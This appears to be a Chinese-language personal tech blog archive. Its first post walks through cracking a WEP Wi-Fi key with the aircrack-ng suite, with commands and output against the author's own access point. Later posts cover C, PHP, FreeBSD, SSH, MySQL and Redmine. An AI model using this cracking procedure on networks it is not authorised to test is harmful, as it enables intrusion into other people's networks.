Zeroplex 生活隨筆

用 aircrack 解 WEP 密碼

2012-01-07T01:15:00.001+08:00

查詢 AP 資訊，找出目標 SSID 和 channel：

$ sudo iwlist wlan0 scanning
          Cell 01 - Address: 00:14:6C:7E:40:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=39/70  Signal level=-71 dBm  
                    Encryption key:on
                    ESSID:"Zeroplex"

用 airmon-ng 進入監聽模式，注意最後一個參數是目標 AP 所用的 channel：

$ sudo airmon-ng start wlan0 11

Interface Chipset  Driver

wlan0  RTL8187  rtl8187 - [phy2]
    (monitor mode enabled on mon0)

訊息後方有顯示模擬來監聽的網卡，之後 aireplay-ng 和 airodump-ng 會用這個 device。先用 aireplay-ng 檢查與目標 AP 的通訊狀況，參數「-9」表示做 injection test：

$ sudo aireplay-ng -9 -e Zeroplex mon0
21:39:04  Waiting for beacon frame (ESSID: Zeroplex) on channel 11
Found BSSID "00:14:6C:7E:40:80" to given ESSID "Zeroplex".
21:39:04  Trying broadcast probe requests...
21:39:04  Injection is working!
21:39:06  Found 1 AP 

21:39:06  Trying directed probe requests...
21:39:06  00:14:6C:7E:40:80 - channel: 11 - 'Zeroplex'
21:39:06  Ping (min/avg/max): 0.604ms/10.323ms/37.851ms Power: -14.86
21:39:06  29/30:  96%

最後一行的百分比表示訊號概況，數值越高表示成功率越高，距離 AP 太遠或是太近都會有影響。

準備好後就可以開始用 airodump-ng 監聽。參數「-i」表示只記錄對破解有用的資訊，沒有家䢢這個參數時，airodump-ng 會記錄所有封包內容，若有人在抓 BT 小心硬碟被吃光光；參數「-w」後加上記錄檔名稱；「--bssid」為目標 AP 的 MAC address、「-c」是channel，若沒有指定特定目標，airodump-ng 會記錄所有接收到的資訊。


$ sudo airodump-ng --bssid 00:14:6C:7E:40:80 -c 11 -i -w data mon0

 CH 11 ][ Elapsed: 0 s ][ 2012-01-07 21:48                                         
                                                                                                                            
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                         
                                                                                                                            
 00:14:6C:7E:40:80  -20   0        9        1    0  11  54e. WEP WEP        Zeroplex

Beacons 與 Data 數量越多對破解越有利。

最後使用 aircrack 嘗試解開密碼：

$ aircrack-ng record-01.cap -l key.txt

解密碼會花上一段時間，若有成功解開密碼，會將密碼寫進 key.txt 裡；若資訊量不足以解開密碼，請繼續監聽，直到 IVs 達到門檻值後再嘗試。

aircrack 的 tutorial 裡面還有介紹 aireplay-ng 的其他玩法，有興趣的可以試試看。

Tutorial: Simple WEP Crack
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

scanf 回傳值

2011-12-26T01:30:00.000+08:00

剛學 C 時並沒有注意到 scanf 回傳值。

scanf 讀取成功時會傳回轉換完成的參數數量，如果失敗則會傳回 EOF。讀取資料直到 EOF 可以寫成：

while( scanf(" %s", intput) != EOF ){
   // Todo
}

for 迴圈

2011-12-24T11:45:00.002+08:00

以前用 for 迴圈跑字串，都要寫好常一串：

char s[5]="123";
int index = 0;
while( s[index] != '\0' ){
   // get s[index];
   index++;
}

無意間看到有人這樣寫：

char s[5]="123";
int index;
for(index=0; s[index]; index++){
   // get s[index];
}

原因是 \0 會被當作 false，換做其他資料型別的陣列就沒辦法這樣寫。

PHP Closing Tags

2011-12-23T15:03:00.000+08:00

一般寫 PHP 會將系統設定、資料庫連結等功能分開放在多個不同的檔案中。

index.php:

<?php
   require('settings.php');

   // something else

   session_start();
?>

settings.php:

<?php
   // some settings
?>

以上程式執行以後會噴錯誤訊息：
session_start(): Cannot send session cache limiter - headers already sent
原因是在 index.php 呼叫 session_start() 之前已經輸出資料，不過到底是哪裡有輸出資料？仔細看才會發現 settings.php 在「?>」後方還換了一行，換行是在 PHP closing tag 之外，所以就被當作一般資料送出。

當程式很龐大時，這種 bug 實在會讓人摔鍵盤、丟滑鼠、凹螢幕。

事實上 PHP 程式不加上結尾的「?>」也是可以執行的，直譯器到檔案結尾會自動當作該程式段落結束，所以程式可以改寫成這樣：

index.php

<?php
   require('settings.php');

   // something else

   session_start();

settings.php

<?php
   // some settings

線上檔案掃毒整合平台

2011-12-14T11:55:00.004+08:00

VirusTotal

http://www.virustotal.com/

Metascan

http://www.metascan-online.com/index.cgi

VirScan

http://www.virscan.org/

VirusChief

http://www.viruschief.com/

Enable SSH in VMware ESXi

2011-12-08T21:57:00.001+08:00

在 ESXi host 上按 F2 登入，選 Troubleshooting Options，將 local / remote Tech Support 啟動。

設定完畢後重新啟動 Management Agent。

清理硬碟小方法

2011-12-03T10:42:00.001+08:00

最近硬碟漲價，聽說是幾乎買不到，只能靠節省硬碟使用量來撐一段時間。

很久前有提到清除系統暫存檔的方法，但重複的檔案其實是最佔硬碟空間的。

我們時常把檔案複製到不同的目錄、更改檔案名稱，整理時卻又忘記改回來，或是懶得打開看內容就乾脆放在一起，硬碟中很可能有二份甚至更多份相同內容的檔案，找出並刪除這些檔案可以省下不少硬碟空間。

網路上有不少搜尋重複檔案的免費工具，我用的是 DuplicateCleaner，能指定搜尋目錄以及搜尋條件 (日期、大小、內容)，搜尋後會將重複檔案已群組方式列出，並能透過選擇工具縮短整理的時間。

DuplicateCleaner 執行畫面

單比較檔案內容可能還是會有漏網之魚，例如照片檔案大小不同，但是打開來看到的畫面可能還是會相同。找出這些重複的影像檔能再多幫你省下不少硬碟空間。

網路上也有不少搜尋重複影像檔的工具，我只試了 VisiPics，感覺還不錯用。VisiPics 能設定搜尋目錄、辨識重複影像的門檻，也有快速選擇工具協助減少整理的時間。

VisiPics 執行畫面

天啊 .... 我好宅 XD

ChromiumOS

2011-11-16T19:16:00.001+08:00

從 ChromiumOS 發表當天編來玩玩後，已經好一陣子沒碰了，前陣子某然看到 Google OS 的新聞，就把 ChromiumOS checkout 出來在編一次，沒想到與之前看到的差非常多。

新版的介面很有親和力，網路、中文支援也比以前完整。

開機後先選擇語言

可以選擇要使用哪一個網路設定，選無線網路可先設定連線密碼

網路可以使用時，系統會自動檢查更新

使用 Google Account 登入

登入成功

網路設定頁面

可以使用 File Manager 從取硬碟、隨身碟上的資料

File Manager 操作畫面

另外，當網路環境必須先透過網頁驗證後才能使用的話，ChromiumOS 可以先用隱身模式開啟瀏覽器，等到使用者驗證完畢以後，再切回一般模式繼續使用。

幾套輕量的 Linux 發行版

2011-11-16T18:30:00.001+08:00

朋友一台舊筆電捨不得丟掉，想找方法讓他可以繼續用。CPU 600MHz、RAM 128M，要跑有圖形介面的 OS 實在頗辛苦。

從網路上找了幾套測試，目標是有圖形介面，操作盡量不碰到 terminal，可以上網也看得到中文字。

Lubuntu

網址：http://lubuntu.net/

記憶體 128MB 就可以動，圖形介面可漂亮，且已經支援中文。另外有套件庫可以自行安裝需要的軟體。

xPud

網址：http://www.xpud.org/

記憶體至少 192MB，整個 ISO 僅 50MB 左右，開機非常快，介面乾淨漂亮且有中文。xPud 整個系統僅安裝 Firefox，沒有其他軟體。

Tiny Core Linux

網址：http://distro.ibiblio.org/tinycorelinux/welcome.html

記憶體 128M 就可以動，開機頗快，可以透過套件庫安裝軟體，好像沒中文。

Damn Small Linux

網址：http://www.damnsmalllinux.org/

記憶體 128M 就可以跑，開機稍慢，進入桌面後記憶體只使用 25MB 左右，可以透過套件庫安裝軟體，沒有中文 (另外安裝字型檔後可以顯示中文)。

使用 EXIFStat 統計拍攝資訊

2011-10-26T14:41:00.000+08:00

好用的小工具，可以為統計照片資訊，列出常用焦段、光圈大小以及快門速度。可以利用這些資訊當作設備選購的參考。

EXIFStat v1.6
http://drizztcp.wordpress.com/2010/12/29/exifstat-v1-6-release/

Ubuntu 11.10 Released

2011-10-14T00:28:00.000+08:00

這次官方做的展示網頁實在讓人讚嘆，左方的軟體啟動圖示點了都有過做！

網頁載入時還顯示開機畫面，讓我下了一跳 XD

展示頁面：

http://www.ubuntu.com/tour/

Ruby Passenger with Nginx on FreeBSD

2011-09-23T21:33:00.000+08:00

事實上 FreeBSD 安裝很簡單，ports 都整理好了：

cd /usr/ports/www/rubygem-passenger
make config  # "Use Nginx"
make install clean

不過這次因為 Redmine 卡在套件版本相依性，除了 Ruby 從 ports 裝，其他 RubyGems、Rails、Rake 都沒用 ports。好險裝 passenger 再編譯 nginx 模組沒想像中的困難。

安裝 passenger：

gem install passenger

裝好後 passenger 的資料會在 /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.9/ 目錄下，nginx 模組的程式碼會在底下的 ext/nginx/。

找到以後就可以準備編譯 nginx。到 /usr/ports/www/nginx 目錄下編輯 Makefile，在「CONFIGURE_ARGS」後加上 --add-module 參數：

CONFIGURE_ARGS+=--prefix=${ETCDIR} \
      --with-cc-opt="-I ${LOCALBASE}/include" \
      --with-ld-opt="-L ${LOCALBASE}/lib" \
      --conf-path=${ETCDIR}/nginx.conf \
      --sbin-path=${PREFIX}/sbin/nginx \
      --pid-path=${NGINX_RUNDIR}/nginx.pid \
      --error-log-path=${NGINX_ERRORLOG} \
      --user=${WWWOWN} --group=${WWWGRP} \
      --add-module=/usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.9/ext/nginx

接著 make install clean 便會自動將 passenger 模組編譯進去。

最後修改 nginx.conf：

http {
   ...
   passenger_root  /usr/local/lib/ruby/gems/1.8/gems/passenger-3.0.9;
   passenger_ruby  /usr/local/bin/ruby;
   passenger_max_pool_size  10;
   ...
   server {
      listen 80;
      server_name  my.site;
      root /path/to/my/site;
      passenger_enabled on;
      passenger_use_global_queue on;
   }
}

參考資料
Installing Passenger Nginx module on FreeBSD
http://www.snippety.org/articles/2009/05/16/installing-passenger-nginx-module-on-freebsd/

Phusion Passenger users guide, Nginx version
http://modrails.com/documentation/Users%20guide%20Nginx.html

MySQL 5.5 編碼相關參數異動

2011-09-16T18:37:00.002+08:00

前陣子把主機上的 MySQL 從 5.1 升到 5.5，啟動時發生錯誤：

[ERROR] /usr/local/libexec/mysqld: unknown variable 'default-character-set=utf8'
[ERROR] Aborting

看了「What Is New in MySQL 5.5」才知道 default-character-set 參數已經不再使用，my.cnf (in FreeBSD) 的設定改需要稍做修改：

[mysqld]
character-set-server=utf8
collation-server=utf8_general_ci

sshd Listen on Multi Port

2011-09-10T15:45:00.000+08:00

某些網路環境會擋 port 22，sshd 只 listen port 22 就沒辦法用。

sshd 可以同時 listen 多個 port，在 FreeBSD 中修改 /etc/ssh/sshd_config：

Port 22
Port 2222

重新啟動 sshd：

/etc/rc.d/sshd restart

sockstat 看一下應該就會看到：

< sockstat | grep sshd
root     sshd       1586  4  tcp4   *:22                  *:*
root     sshd       1586  6  tcp4   *:2222                *:*

刪除 github 上的 branch

2011-09-08T21:35:00.000+08:00

每次都找很久每次都忘記。

git push origin :branchToDelete

參考資料：http://originblog.wordpress.com/2008/04/28/github-tips-removing-a-remote-branch/

GnuWin32

2011-07-28T14:47:00.003+08:00

用慣了 Linux 上的終端機以後，再用 Windows 終端機大概會很不習慣，許多好用的小工具會找不到。GnuWin 將一些開放原始碼的小工具移植到 Windows 上，如 ls、grep、awk、wget 等，想得到的幾乎都有。

先下載壓縮檔，該壓縮檔只包含安裝工具。執行 download.bat，程式會將工具包下載回來，再執行 install.bat 將下載回來的工具解壓縮放進「gnuwin32」目錄，執行檔會在 gnuwin32/bin/ 中。

最後在 Windows 環境參數 PATH 中加入 gnuwin32/bin/ 就可以在使用了。

GnuWin
http://gnuwin32.sourceforge.net/

幾個有趣的互動短片

2011-07-11T00:47:00.001+08:00

海尼根廣告：
http://www.youtube.com/user/HeinekenTheEntranc

Wario Land - Shake It
http://www.youtube.com/wariolandshakeit2008

A hunter ____ a bear
http://www.youtube.com/user/tippexperience

還有「宅男最後的120小時」
http://www.youtube.com/watch?v=f58Ns8go-Ro

浴血任務
http://www.youtube.com/user/expendables

UTF-8 in FreeBSD

2011-07-10T23:17:00.003+08:00

.cshrc:

setenv LANG zh_TW.UTF-8
setenv MM_CHARSET utf8

參考資料：使用語系設定(Localization)
http://www.freebsd.org/doc/zh_TW/books/handbook/using-localization.html

[轉貼] 10 個社群技巧

2011-07-06T23:01:00.000+08:00

原文來自 louisgray.com - The Secret 10 Step Guide to Giving Good Social，翻譯自 esor huang：

做個有趣的人
發掘有趣的事 (尤其如果做不到第一點)
盡量 (厚著臉皮) 和他人互動
用熱情的態度分享你感興趣的事物
不要當個怪人
但要證明你確實是個活生生的人
融入社群的 (潛) 規則
不要製造過多重複訊息
不要太興奮聒噪
當個友善的人～

我要加油 >"<

暑期社群活動

2011-06-29T00:34:00.001+08:00

7.02 BlackTrack 5 Linux 聚會

簡介：Backtrack 5 是一套集各類資訊安全工具於一身的 Linux 發行版本，不僅僅是一套專給資訊安全人員用的 Linux 發行版，也是可以供給一般人學習 Linux 資訊安全的好工具，本課程將會帶大家入門使用 Backtrack 5 和介紹他的特色。
主講是正妹小飛機！趕快報名吧！

報名網址：http://www.openfoundry.org/en/workshop/details/158

7.03 Ubuntu 11.04 Release Party in Taichung

活動報名網址：http://www.accupass.com/Event/Register?eid=561045917168188

7.22 - 7.23 HIT 駭客年會

一年一度的駭客聚會，討論資訊安全相關議題，包括各種攻擊手法、病毒與防毒、逆向工程等等，會場還有 wargame 可以玩。在會場使用電子產品需要特別小心 ... XD

網站：http://blog.hitcon.org/

8.20 - 8.21 COSCUP 開源人年會

以開放原始碼為主軸的社群聚會，是台灣眾多軟體開發者、推廣者與使用者共同參與的活動。別忘了緊張刺激的「閃電秀」和數量無限多的 pizza！

網站：http://coscup.org/2011/zh-tw/

FlickrLinker 擷取照片網址工具

2011-06-25T22:21:00.000+08:00

Flickr 網站提供使用者存放自己的照片，但免費帳號僅能檢視最新的 200 張照片。

FlickrLinker 工具可以讀取網頁內容並將照片的獨立網址紀錄下來，當照片超過 200 張以後，可以透過留下來的連結連到照片的獨立頁面，以後變不需擔心找不到舊照片的網頁連結。

打開 FlickrLinker 後輸入使用者 Photo Stream 網址，如「http://www.flickr.com/photos/johnroyer/」，程式便會自動讀取網頁內容並將照片獨立頁面網址顯示於文字方塊中。

另外程式會自動判斷是否有「下一頁」，有的話會自動翻頁直到所有照片連結讀取完畢，若付費帳號顯示頁數過多，程式會不中斷直到頁面讀取完畢，執行中仍然可以複製網頁連結，跳出請點選試穿關閉按鈕。

下載：請至程式下載頁面

台中高美溼地拍照

2011-06-13T01:11:00.000+08:00

感謝賴懂陪我拍照 <(_ _)>

逢甲畢業典禮

2011-06-11T18:53:00.000+08:00

轉貼：開元中最好的 web 開發資源

2011-06-11T13:04:00.005+08:00

CoolShell.cn 網站上整理了不少網頁開發相關資源，包括：

學習 HTML5 編成與設計
Server 端工具
PHP Framework 與工具
資料庫
API 與即時資訊處理 (在線數據)
線上軟體開發與媒體工具
程式資源與版本管理工具
JavaScript Framework
JavaScript 移動與觸摸相關 framework
jQuery 外掛與相關資源
HTML5 視訊播放器
JavaScript 音訊處理與視覺化工具
JavaScript 2D、3D 圖形
JavaScript 與 HTML5 API (接口？)
其他 JavaScript 工具
Client 端工具
CSS3 與字型資料
網站樣板

忘了貼網址 XD

开源中最好的Web开发的资源

http://coolshell.cn/articles/4795.html

Redmine 簡介

2011-06-10T01:47:00.008+08:00

軟體開發時，通常都會記得程式碼要用版本管理系統，不過很容易忘記時間管理、文件管理，程式實做後一定會遇到 bug，到時除錯、系統異動等管理又會是一大問題，若需要包含這些功能的管理平台，Redmine 應該會是個不錯的選擇。

安裝 Redmine
建立專案
事件
建立「版本」
Wiki
相關資源

Redmine 是個為專案管理而生的平台，有幾個特色：

支援單一平台上多個專案 (支援子專案)
事件管理系統
每個專案均有文件管理、檔案管理、討論區等功能
時間追蹤、甘特圖
支援多種版本管理系統 (CVS、SVN、Git、Mercurial ...etc)

安裝 Redmine

Redmine 由 Ruby 撰寫而成，安裝很容易。現在的 Linux 系統上大多都有 Redmine 套件，點選後會系統就會自動將環境裝好可直接啟動，也可以透過 SVN 或是 Git 取得最新版本的程式碼手動安裝。從搜尋引擎也應該很容易找到別人整理好的安裝教學。

建立專案

使用者登入以後，可以在「專案清單」頁面找到建立新專案的連結，到建立專案頁面會有許多欄位需要填寫。

頁面中會要求填入專案名稱、描述以及欲使用的模組，另外可以選擇該專案所屬的父專案，之後可以建立專案事件間的關聯性。

專案建立成功以後會顯示進入設定頁面，先到「成員」分頁將自己加入專案中。專案成員可以有不同的權限，預設分為「管理人員」、「開發人員」與「報告人員」，管理人員擁有整個專案的管理權限，而報告人員僅能瀏覽專案資訊與新增事件，權限會依照 Redmine 系統設定而不同。

設定完成回到專案概觀頁面，大致就可以看到整個專案的狀況

事件 (issue)

專案中的事件可以是實作、錯誤報告、功能變更等，可以為專案建立事件並指派給負責人，受到指派的負責人可以對該事件建立筆記、報告、時間紀錄等，Redmine 會紀錄事件異動、進度整理至行事曆以及甘特圖上。

輸入事件名稱以及詳細內容，「追蹤標籤」選擇事件所屬類別，「父工作項目」可填入上層事件的編號 (事件列表中以「#」號標記的數字)，在甘特圖中會以階層顯示。

事件的「狀態」預設為「新建立」。一般情況下除錯人員可能對於開發工作不熟，所以建立事件時無法得知該事件應該報告給哪一為負責人，所以使用「新建立」，若是已經知道該事件由誰處理，可以選擇「已指派」並在下方選擇負責人，Redmine 會在事件建立後發信告知負責人。

建立「版本」

這裡說的版本為專案首頁 -> 設定 -> 版本，代表專案的一個 baseline (?)。為專案設立版本號與發佈日期，可以有效的管理事件與安排時間。

建立一個版本後，原先建立好的事件設定會多出一個欄位，選擇事件所屬的版本，依照事件內容加入對應的版本中。

例如「資料排序功能」與「編碼錯誤」二個事件需要在第一個版本中處理完畢，便加入「v1.0」的版本中，而「分散式運算」安排於稍晚處理，加入「v2.0」的版本中。

版本與事件關係舉例：
好員工 v1.0：

功能：資料排序
臭蟲：準時上下班

好員工 v2.0：

功能：一個人當二個人用
功能：天天加班
臭蟲：肝很硬

建立版本以後可以將相關的事件與工作加進該版本中，Redmine 便會在「版本藍圖」頁面中顯示時間與工作項目。

Wiki

Wiki 模組是一個與維基百科相同功能的知識管理模組，供專案人員撰寫操作說明與系統規格等，例如撰寫一個專案說明：

h1. 專案介紹

bla bla bla ......

相關頁面：
[[安裝]]
[[程式碼修改]]

利用中括弧可以建立 wiki 頁面連結，若是該頁面不存在，則會直接進入編輯模式。

Wiki 模組與一般文件的差異為 wiki 模組會為每一次修改進行記錄，可以比較頁面每一次修改間的差異，可以隨時還原至較舊的版本。